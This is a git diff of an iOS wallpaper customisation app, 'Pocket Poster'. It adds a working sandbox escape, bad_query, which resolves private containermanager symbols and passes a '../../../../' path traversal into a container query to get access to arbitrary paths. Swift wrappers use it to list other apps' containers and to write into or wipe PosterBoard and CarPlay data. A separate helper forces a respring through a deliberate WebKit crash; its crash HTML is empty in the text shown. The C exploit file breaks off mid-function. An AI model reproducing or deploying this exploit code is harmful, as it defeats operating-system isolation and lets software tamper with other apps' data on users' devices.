diff --git a/Pocket Poster.xcodeproj/project.pbxproj b/Pocket Poster.xcodeproj/project.pbxproj index 60e4615..b2c7c35 100644 --- a/Pocket Poster.xcodeproj/project.pbxproj +++ b/Pocket Poster.xcodeproj/project.pbxproj @@ -16,9 +16,24 @@ 6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Pocket Poster.app"; sourceTree = BUILT_PRODUCTS_DIR; }; /* End PBXFileReference section */ +/* Begin PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */ + BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */ = { + isa = PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet; + buildPhase = 6F09B7992DEB694B00CDE89C /* Sources */; + membershipExceptions = ( + Exploit/bad_query.h, + "Exploit/Pocket-Poster-Bridging-Header.h", + "Exploit/xpc_crash.h", + ); + }; +/* End PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */ + /* Begin PBXFileSystemSynchronizedRootGroup section */ 6F09B79F2DEB694B00CDE89C /* Pocket Poster */ = { isa = PBXFileSystemSynchronizedRootGroup; + exceptions = ( + BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */, + ); explicitFolders = ( Resources/VideoCAML, ); @@ -272,11 +287,15 @@ ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; CODE_SIGN_STYLE = Automatic; - CURRENT_PROJECT_VERSION = 0; + CURRENT_PROJECT_VERSION = 3; DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\""; DEVELOPMENT_TEAM = 2P4CP47H76; ENABLE_PREVIEWS = YES; GENERATE_INFOPLIST_FILE = YES; + HEADER_SEARCH_PATHS = ( + "$(inherited)", + "\"$(SRCROOT)/Pocket Poster/Exploit\"", + ); INFOPLIST_FILE = "Pocket-Poster-Info.plist"; INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES; INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; @@ -289,10 +308,11 @@ "$(inherited)", "@executable_path/Frameworks", ); - MARKETING_VERSION = 3.0; - PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster"; + MARKETING_VERSION = 3.2.2; + PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster"; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; + SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h"; SWIFT_VERSION = 5.0; TARGETED_DEVICE_FAMILY = "1,2"; }; @@ -304,11 +324,15 @@ ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; CODE_SIGN_STYLE = Automatic; - CURRENT_PROJECT_VERSION = 0; + CURRENT_PROJECT_VERSION = 3; DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\""; DEVELOPMENT_TEAM = 2P4CP47H76; ENABLE_PREVIEWS = YES; GENERATE_INFOPLIST_FILE = YES; + HEADER_SEARCH_PATHS = ( + "$(inherited)", + "\"$(SRCROOT)/Pocket Poster/Exploit\"", + ); INFOPLIST_FILE = "Pocket-Poster-Info.plist"; INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES; INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; @@ -321,10 +345,11 @@ "$(inherited)", "@executable_path/Frameworks", ); - MARKETING_VERSION = 3.0; - PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster"; + MARKETING_VERSION = 3.2.2; + PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster"; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; + SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h"; SWIFT_VERSION = 5.0; TARGETED_DEVICE_FAMILY = "1,2"; }; diff --git a/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Contents.json b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Contents.json new file mode 100644 index 0000000..ccd60a6 --- /dev/null +++ b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Contents.json @@ -0,0 +1,21 @@ +{ + "images" : [ + { + "idiom" : "universal", + "scale" : "1x" + }, + { + "filename" : "Mak5er@2x.png", + "idiom" : "universal", + "scale" : "2x" + }, + { + "idiom" : "universal", + "scale" : "3x" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er.png b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er.png new file mode 100644 index 0000000..1da329f Binary files /dev/null and b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er.png differ diff --git a/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er@2x.png b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er@2x.png new file mode 100644 index 0000000..1da329f Binary files /dev/null and b/Pocket Poster/Assets.xcassets/Credits/Mak5er.imageset/Mak5er@2x.png differ diff --git a/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift b/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift index 6a094f5..2ff49c6 100644 --- a/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift +++ b/Pocket Poster/Controllers/CarPlayWallpaper+CarPlayManager.swift @@ -134,13 +134,32 @@ class CarPlayManager { } } - // symlink and apply - let _ = try SymHandler.createAppSymlink(for: "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images") defer { SymHandler.cleanup() } - for imgURL in toRemove { - try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil) + + let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images" + if SymHandler.prefersBadQuery { + let destPath = BadQuery.carPlayCachePath(appHash: appHash) + do { + try SymHandler.writeFilesViaBadQuery(toDirectory: destPath, files: toRemove) + // remove local staging copies after successful write + for imgURL in toRemove { + try? FileManager.default.removeItem(at: imgURL) + } + } catch { + print("bad_query CarPlay failed, falling back to symlink: \(error)") + let _ = try SymHandler.createAppSymlink(for: cacheRel) + for imgURL in toRemove { + try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil) + } + } + } else { + // legacy symlink + trashItem + let _ = try SymHandler.createAppSymlink(for: cacheRel) + for imgURL in toRemove { + try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil) + } } UserDefaults.standard.set(activeWP, forKey: "ActiveCarPlayWallpapers") let test = SymHandler.getDocumentsDirectory().appendingPathComponent("Caches") diff --git a/Pocket Poster/Controllers/PosterBoardManager.swift b/Pocket Poster/Controllers/PosterBoardManager.swift index 69104a9..2039f32 100644 --- a/Pocket Poster/Controllers/PosterBoardManager.swift +++ b/Pocket Poster/Controllers/PosterBoardManager.swift @@ -30,12 +30,16 @@ class PosterBoardManager: ObservableObject { } func setSystemLanguage(to new_lang: String) -> Bool { + // Load Preferences private frameworks if needed + dlopen("/System/Library/PrivateFrameworks/SettingsFoundation.framework/SettingsFoundation", RTLD_NOW) + dlopen("/System/Library/PrivateFrameworks/Preferences.framework/Preferences", RTLD_NOW) + dlopen("/System/Library/PrivateFrameworks/InternationalSupport.framework/InternationalSupport", RTLD_NOW) + var langManager: NSObject = NSObject() if #available(iOS 18.0, *) { guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false } langManager = obj } else { - // TODO: Need to find the correct class for this on iOS 17 guard let obj = objc_getClass("PSLanguageSelector") as? NSObject else { return false } langManager = obj } @@ -47,6 +51,63 @@ class PosterBoardManager: ObservableObject { return false } + /// Wipe PosterBoard custom descriptor collections using bad_query (real delete). + /// Falls back to language-toggle trick on older exploit path. + func resetCollections(appHash: String) throws { + if SymHandler.prefersBadQuery { + try wipeDescriptorsViaBadQuery(appHash: appHash) + return + } + + // Legacy: language toggle forces PosterBoard to rebuild collections + guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else { + throw ApplyError.unexpected(info: "Could not read system language for reset.") + } + guard setSystemLanguage(to: lang) else { + throw ApplyError.unexpected(info: "Language API failed. Reset collections manually in Settings → Language & Region.") + } + } + + /// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors. + private func wipeDescriptorsViaBadQuery(appHash: String) throws { + let ver = SymHandler.getExtensionVersion() + let extensionsRoot = BadQuery.applicationContainerPath(appHash: appHash) + + "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions" + + // Open parent with sandbox extension + let rootHandle = try BadQuery.consume(path: extensionsRoot, create: true) + defer { rootHandle.release() } + + let fm = FileManager.default + guard fm.fileExists(atPath: extensionsRoot) else { + // Nothing to wipe — treat as success (collections already empty / never set up) + return + } + + let extDirs = try fm.contentsOfDirectory(atPath: extensionsRoot) + var wiped = 0 + for extName in extDirs { + let descriptorsPath = (extensionsRoot as NSString) + .appendingPathComponent(extName) + .appending("/descriptors") + + // Ensure we hold an extension on the descriptors dir itself + let descHandle = try? BadQuery.consume(path: descriptorsPath, create: true) + defer { descHandle?.release() } + + guard fm.fileExists(atPath: descriptorsPath) else { continue } + + let items = (try? fm.contentsOfDirectory(atPath: descriptorsPath)) ?? [] + for item in items { + if item == "__MACOSX" || item.hasPrefix(".") { continue } + let full = (descriptorsPath as NSString).appendingPathComponent(item) + try? fm.removeItem(atPath: full) + wiped += 1 + } + } + print("resetCollections: wiped \(wiped) descriptor item(s)") + } + func openPosterBoard() -> Bool { guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false } let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject @@ -70,7 +131,6 @@ class PosterBoardManager: ObservableObject { if !FileManager.default.fileExists(atPath: path.path()) { try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true) } - let url = path.appending(path: fileName) // Remove All files in this directory let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) @@ -78,17 +138,17 @@ class PosterBoardManager: ObservableObject { { try FileManager.default.removeItem(at: fileUrl) } - let url = path.appending(path: normalizedFileName) + let zipURL = path.appending(path: normalizedFileName) // Save our Zip file - try fileData.write(to: url, options: [.atomic]) + try fileData.write(to: zipURL, options: [.atomic]) // Unzip the Zipped Up File var destinationURL = path - if FileManager.default.fileExists(atPath: url.path()) + if FileManager.default.fileExists(atPath: zipURL.path()) { destinationURL.append(path: "directory") - try fileManager.unzipItem(at: url, to: destinationURL) + try fileManager.unzipItem(at: zipURL, to: destinationURL) } return destinationURL @@ -213,20 +273,34 @@ class PosterBoardManager: ObservableObject { SymHandler.cleanup() } + let useBadQuery = SymHandler.prefersBadQuery + if useBadQuery { + UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "bad_query sandbox escape…") + } + for (ext, descriptorsList) in extList { - let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext) + var foldersToWrite: [URL] = [] for descriptors in descriptorsList { - // create the folder for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) { if descr.lastPathComponent != "__MACOSX" { try randomizeWallpaperId(url: descr) - let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory) - try FileManager.default.moveItem(at: descr, to: newURL) - - try FileManager.default.trashItem(at: newURL, resultingItemURL: nil) + foldersToWrite.append(descr) } } } + + if useBadQuery { + // iOS 26/27: direct write via container_query sandbox extension + do { + try SymHandler.writeDescriptorsViaBadQuery(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite) + } catch { + // Fall back to legacy .Trash symlink if bad_query path fails + print("bad_query apply failed, falling back to symlink: \(error)") + try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite) + } + } else { + try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite) + } SymHandler.cleanup() } @@ -238,6 +312,16 @@ class PosterBoardManager: ObservableObject { } } + /// Legacy exploit: symlink Documents/.Trash → descriptors, then trashItem into it. + private func applyDescriptorsViaSymlink(appHash: String, ext: String, folders: [URL]) throws { + let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext) + for descr in folders { + let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory) + try FileManager.default.copyItem(at: descr, to: newURL) + try FileManager.default.trashItem(at: newURL, resultingItemURL: nil) + } + } + static func clearCache() throws { SymHandler.cleanup() let docDir = SymHandler.getDocumentsDirectory() diff --git a/Pocket Poster/Controllers/RespringHelper.swift b/Pocket Poster/Controllers/RespringHelper.swift new file mode 100644 index 0000000..277b414 --- /dev/null +++ b/Pocket Poster/Controllers/RespringHelper.swift @@ -0,0 +1,124 @@ +// +// RespringHelper.swift +// Pocket Poster +// +// Mond-style instant respring (WebKit GPU crash @neonmodder123). +// No VC present/dismiss chain — WKWebView on a top-level window, load immediately. +// + +import Foundation +import UIKit +import WebKit +import ObjectiveC + +enum RespringHelper { + + /// Keep the respring window alive until the process dies. + private static var stickyWindow: UIWindow? + private static var stickyWebView: WKWebView? + + /// Direct crash payload (inner document from Mond — no outer iframe delay). + /// Credit: @neonmodder123 / Mond + private static let crashHTML = """ + + """ + + /// Instant full respring (Mond path). Safe under LiveContainer. + static func respring() { + #if targetEnvironment(simulator) + print("respring skipped on simulator") + return + #else + // Must be main thread for UIWindow / WKWebView + if !Thread.isMainThread { + DispatchQueue.main.async { fireNow() } + return + } + fireNow() + #endif + } + + static func respringNow() { respring() } + + private static func fireNow() { + UIImpactFeedbackGenerator(style: .heavy).impactOccurred() + + // 1) Kill any alerts instantly so nothing blocks rendering + currentUIAlertController?.dismiss(animated: false) + currentUIAlertController = nil + + // 2) Build WKWebView + load crash HTML BEFORE showing window (starts process ASAP) + let config = WKWebViewConfiguration() + config.websiteDataStore = .nonPersistent() + let prefs = WKWebpagePreferences() + prefs.allowsContentJavaScript = true + config.defaultWebpagePreferences = prefs + // Shared process pool warms slightly faster on repeat + config.processPool = WKProcessPool() + + let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config) + webView.isOpaque = false + webView.backgroundColor = .black + webView.scrollView.isScrollEnabled = false + webView.scrollView.backgroundColor = .black + + // Load payload immediately — don't wait for layout/appear + webView.loadHTMLString(crashHTML, baseURL: URL(string: "about:blank")) + stickyWebView = webView + + // 3) Slap it on a top-level window (no present animation, no host VC) + let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene } + let scene = scenes.first(where: { $0.activationState == .foregroundActive }) ?? scenes.first + + let window: UIWindow + if let scene { + window = UIWindow(windowScene: scene) + window.frame = scene.coordinateSpace.bounds + } else { + window = UIWindow(frame: UIScreen.main.bounds) + } + window.windowLevel = .alert + 100 + window.backgroundColor = .black + window.isHidden = false + + let host = UIViewController() + host.view.backgroundColor = .black + host.view.addSubview(webView) + webView.frame = host.view.bounds + webView.autoresizingMask = [.flexibleWidth, .flexibleHeight] + window.rootViewController = host + window.makeKeyAndVisible() + stickyWindow = window + + // Force a layout pass so WebKit starts compositing now + window.layoutIfNeeded() + webView.setNeedsLayout() + webView.layoutIfNeeded() + + // Re-load once more after attach (some LC builds only execute JS after in-hierarchy) + webView.loadHTMLString(crashHTML, baseURL: nil) + + // 4) Outside LiveContainer, also hit XPC immediately (no delay) + let inLC = ProcessInfo.processInfo.environment["LC_HOME_PATH"] != nil + || Bundle.main.bundlePath.contains("LiveContainer") + if !inLC { + restartFrontboard() + restartBackboard() + } + } +} diff --git a/Pocket Poster/Controllers/SymHandler.swift b/Pocket Poster/Controllers/SymHandler.swift index 417e590..ad6b70d 100644 --- a/Pocket Poster/Controllers/SymHandler.swift +++ b/Pocket Poster/Controllers/SymHandler.swift @@ -34,7 +34,12 @@ class SymHandler { return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink) } - // MARK: Symlink Creation + /// Prefer bad_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit. + static var prefersBadQuery: Bool { + BadQuery.isAvailable + } + + // MARK: Symlink Creation (legacy exploit for older iOS) static func createSymlink(to path: String) throws -> URL { // returns the url of the symlink let symURL = getSymlinkURL() @@ -64,6 +69,47 @@ class SymHandler { return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors") } + // MARK: Direct write via bad_query + + /// Copy descriptor folders into PosterBoard descriptors using sandbox escape. + static func writeDescriptorsViaBadQuery(appHash: String, ext: String, descriptorFolders: [URL]) throws { + let destPath = BadQuery.descriptorsPath(appHash: appHash, ext: ext) + print("bad_query writing to \(destPath)") + + // Ensure descriptors directory exists (open parent chain if needed) + try BadQuery.ensureDirectory(at: destPath) + + let handle = try BadQuery.consume(path: destPath, create: true) + defer { handle.release() } + + let fm = FileManager.default + for descr in descriptorFolders { + guard descr.lastPathComponent != "__MACOSX" else { continue } + let destName = UUID().uuidString + let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(destName) + if fm.fileExists(atPath: destURL.path) { + try fm.removeItem(at: destURL) + } + try fm.copyItem(at: descr, to: destURL) + } + } + + /// Copy files into an absolute directory under an app container via bad_query. + static func writeFilesViaBadQuery(toDirectory destPath: String, files: [URL]) throws { + try BadQuery.ensureDirectory(at: destPath) + let handle = try BadQuery.consume(path: destPath, create: true) + defer { handle.release() } + + let fm = FileManager.default + for file in files { + let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent) + if fm.fileExists(atPath: destURL.path) { + try fm.removeItem(at: destURL) + } + try fm.copyItem(at: file, to: destURL) + } + } + static func cleanup() { // remove the symlink if it exists let symURL = getSymlinkURL() diff --git a/Pocket Poster/Exploit/BadQuery.swift b/Pocket Poster/Exploit/BadQuery.swift new file mode 100644 index 0000000..cc74d63 --- /dev/null +++ b/Pocket Poster/Exploit/BadQuery.swift @@ -0,0 +1,282 @@ +// +// BadQuery.swift +// Pocket Poster +// +// Swift wrapper around forcequitOS/bad_query sandbox escape +// (container_query path traversal via MobileGestalt SystemGroup). +// Supports iOS 26.0 – 26.6.1 / 27.0b4+. +// + +import Foundation + +enum BadQueryError: LocalizedError { + case invalidPath + case missingPath + case resolveFailed + case createFailed + case outsideSandbox + case kernelRejected + case asprintfFailed + case unknown(Int64) + case listFailed + case containerNotFound(String) + + var errorDescription: String? { + switch self { + case .invalidPath: + return "Path must be absolute." + case .missingPath: + return "Target path does not exist." + case .resolveFailed: + return "Failed to resolve containermanager symbols." + case .createFailed: + return "Failed to create container query." + case .outsideSandbox: + return "Path is outside containermanager sandbox." + case .kernelRejected: + return "Kernel refused to issue a sandbox extension." + case .asprintfFailed: + return "Failed to build path traversal string." + case .unknown(let code): + return "bad_query failed with code \(code)." + case .listFailed: + return "Failed to enumerate containers (fsgetpath)." + case .containerNotFound(let bundleId): + return "Could not find container for \(bundleId)." + } + } + + static func from(code: Int64) -> BadQueryError { + switch code { + case -255: return .invalidPath + case -254: return .missingPath + case -1: return .resolveFailed + case -2: return .createFailed + case -3: return .outsideSandbox + case -4: return .kernelRejected + case -5: return .asprintfFailed + default: return .unknown(code) + } + } +} + +/// RAII-style sandbox extension handle. +final class BadQueryHandle { + private(set) var handle: Int64 + let path: String + + init(handle: Int64, path: String) { + self.handle = handle + self.path = path + } + + deinit { + release() + } + + func release() { + guard handle >= 0 else { return } + bad_query_release(handle) + handle = -1 + } +} + +enum BadQuery { + /// PosterBoard / related bundle identifiers. + static let posterBoardBundleId = "com.apple.PosterBoard" + static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper" + + // MARK: - Availability + + /// True when the MobileGestalt system-group query route resolves symbols. + /// Cheap probe: only checks dlsym path by attempting a known-existing system path with create=true. + static var isAvailable: Bool { + // Probe with a path that should always exist on device; create=true skips lstat + // so we only fail if symbols/query plumbing is broken (patched OS). + let probe = "/var/mobile" + var cPath = probe.utf8CString.map { Int8($0) } + let result = bad_query(&cPath, true, nil, false) + if result >= 0 { + bad_query_release(result) + return true + } + // -3/-4 mean query ran but path/token failed; symbols still work + if result == -3 || result == -4 || result == -254 { + return true + } + // -1/-2 = symbols/query broken + return result != -1 && result != -2 + } + + // MARK: - Consume / Release + + /// Obtain a sandbox extension for an absolute path. + /// - Parameters: + /// - path: Absolute filesystem path + /// - create: If true, skip existence check (use when lstat is blocked by sandbox) + /// - groupIdentifier: Optional app group; nil uses MobileGestalt SystemGroup (iOS 27 preferred) + /// - isGroup: iOS 26 App Group flag route + @discardableResult + static func consume( + path: String, + create: Bool = false, + groupIdentifier: String? = nil, + isGroup: Bool = false + ) throws -> BadQueryHandle { + guard path.hasPrefix("/") else { throw BadQueryError.invalidPath } + + var cPath = path.utf8CString.map { Int8($0) } + let handle: Int64 + if let group = groupIdentifier { + var cGroup = group.utf8CString.map { Int8($0) } + handle = bad_query(&cPath, create, &cGroup, isGroup) + } else { + handle = bad_query(&cPath, create, nil, isGroup) + } + + guard handle >= 0 else { + // Retry with create=true if existence check failed under sandbox + if !create && handle == -254 { + return try consume(path: path, create: true, groupIdentifier: groupIdentifier, isGroup: isGroup) + } + throw BadQueryError.from(code: handle) + } + return BadQueryHandle(handle: handle, path: path) + } + + // MARK: - Listing + + /// Enumerate immediate children under `path` via fsgetpath inode scan. + static func list(path: String, maxInode: Int64 = 2_000_000) throws -> [String] { + var cPath = path.utf8CString.map { Int8($0) } + guard let raw = bad_query_list(&cPath, maxInode) else { + throw BadQueryError.listFailed + } + defer { free(raw) } + let str = String(cString: raw) + return str + .split(whereSeparator: \.isNewline) + .map(String.init) + .filter { !$0.isEmpty } + } + + // MARK: - Container discovery + + private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist" + + /// Read MCMMetadataIdentifier from a container root, using bad_query for access. + static func readBundleId(fromContainerPath containerPath: String) -> String? { + let metaPath = (containerPath as NSString).appendingPathComponent(metadataFileName) + guard let token = try? consume(path: metaPath, create: true) else { return nil } + defer { token.release() } + + guard let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any] else { + // Some layouts use a non-hidden name + let alt = (containerPath as NSString).appendingPathComponent("com.apple.mobile_container_manager.metadata.plist") + if let altToken = try? consume(path: alt, create: true) { + defer { altToken.release() } + if let d = NSDictionary(contentsOfFile: alt) as? [String: Any] { + return d["MCMMetadataIdentifier"] as? String + } + } + return nil + } + return dict["MCMMetadataIdentifier"] as? String + } + + /// Find application container UUID for a bundle identifier (on-device, no PC). + static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String { + let roots = searchRoots ?? [ + "/var/mobile/Containers/Data/Application", + "/var/mobile/Containers/Data/InternalDaemon", + "/var/mobile/Containers/Data/PluginKitPlugin" + ] + + for root in roots { + let children: [String] + do { + children = try list(path: root) + } catch { + continue + } + + for child in children { + let uuid = (child as NSString).lastPathComponent + // Normalize to the root we know + let containerPath = "\(root)/\(uuid)" + if let id = readBundleId(fromContainerPath: containerPath), id == targetBundleId { + return uuid + } + } + } + + throw BadQueryError.containerNotFound(targetBundleId) + } + + static func findPosterBoardHash() throws -> String { + try findAppHash(bundleId: posterBoardBundleId) + } + + static func findCarPlayHash() throws -> String { + try findAppHash(bundleId: carPlayWallpaperBundleId) + } + + // MARK: - Path helpers + + static func applicationContainerPath(appHash: String) -> String { + "/var/mobile/Containers/Data/Application/\(appHash)" + } + + static func descriptorsPath(appHash: String, ext: String) -> String { + let ver = SymHandler.getExtensionVersion() + return applicationContainerPath(appHash: appHash) + + "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions/\(ext)/descriptors" + } + + static func carPlayCachePath(appHash: String) -> String { + applicationContainerPath(appHash: appHash) + + "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images" + } + + // MARK: - File ops under extension + + /// Copy a directory or file into `destinationDirectory` (must already be accessible via handle). + static func copyItem(at source: URL, intoDestinationDirectory destDir: String, named name: String? = nil) throws { + let destName = name ?? source.lastPathComponent + let destURL = URL(fileURLWithPath: destDir).appendingPathComponent(destName) + let fm = FileManager.default + if fm.fileExists(atPath: destURL.path) { + try fm.removeItem(at: destURL) + } + try fm.copyItem(at: source, to: destURL) + } + + /// Ensure a directory exists at path while holding a parent extension if needed. + static func ensureDirectory(at path: String) throws { + let fm = FileManager.default + if fm.fileExists(atPath: path) { return } + + // Walk up to find an existing ancestor we can open, then create intermediates + let components = path.split(separator: "/").map(String.init) + var built = "" + var lastExisting = "" + for part in components { + built += "/" + part + if fm.fileExists(atPath: built) { + lastExisting = built + } + } + + if lastExisting.isEmpty { + // Get extension on the full path with create=true and mkdir + let handle = try consume(path: path, create: true) + defer { handle.release() } + try fm.createDirectory(atPath: path, withIntermediateDirectories: true) + return + } + + let handle = try consume(path: lastExisting, create: true) + defer { handle.release() } + try fm.createDirectory(atPath: path, withIntermediateDirectories: true) + } +} diff --git a/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h b/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h new file mode 100644 index 0000000..203ced8 --- /dev/null +++ b/Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h @@ -0,0 +1,9 @@ +// +// Pocket-Poster-Bridging-Header.h +// Pocket Poster +// +// Exposes C exploit helpers to Swift. +// + +#import "bad_query.h" +#import "xpc_crash.h" diff --git a/Pocket Poster/Exploit/bad_query.c b/Pocket Poster/Exploit/bad_query.c new file mode 100644 index 0000000..730095c --- /dev/null +++ b/Pocket Poster/Exploit/bad_query.c @@ -0,0 +1,183 @@ +// +// bad_query.c +// bad_query +// +// Created by Taj C on 7/21/26. +// + +#include "bad_query.h" +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +typedef void *(*container_query_create_fn)(void); +typedef void (*container_query_set_class_fn)(void *, uint64_t); +typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t); +typedef void (*container_query_set_flags_fn)(void *, uint64_t); +typedef void (*container_query_set_part_fn)(void *, uint64_t); +typedef void (*container_query_set_part_domain_fn)(void *, const char *); +typedef void *(*container_query_get_single_result_fn)(void *); +typedef void (*container_query_free_fn)(void *); +typedef char *(*container_copy_sandbox_token_fn)(void *); +typedef int64_t (*sandbox_extension_consume_fn)(const char *); +typedef int (*sandbox_extension_release_fn)(int64_t); + +int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) { + // Sanity check our path and check if something already exists there + if (!path || path[0] != '/') return -255; // Not an absolute path + if (!create) { + struct stat st; + if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return + } + + // Now the fun begins + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return -1; // Failed to dlopen + + // Resolve functions + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); + container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); + container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); + container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain"); + container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); + sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); + + int64_t handle = -1; + if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) { + dlclose(mgr); + return -1; // Failed to resolve a function + } + + // Create query + void *query = query_create(); + if (!query) { + dlclose(mgr); + return -2; // Failed to create query + } + + // Set up query + // Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags. + xpc_object_t identifier; + if (group_identifier == NULL) { + query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system + identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache"); + } else { + query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd + identifier = xpc_string_create(group_identifier); + } + query_set_group_identifiers(query, identifier); + query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches + char *part = NULL; + // Oldest trick in the book. Basic path traversal. + if (group_identifier == NULL) { + if (asprintf(&part, "../../../../../../../..%s", path) != -1) { + query_set_part_domain(query, part); + } else { + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -5; // asprintf failed for some reason + } + } else { + // We have to go one level higher to get to / from an App Group + if (asprintf(&part, "../../../../../../../../..%s", path) != -1) { + query_set_part_domain(query, part); + } else { + xpc_release(identifier); + query_free(query); + 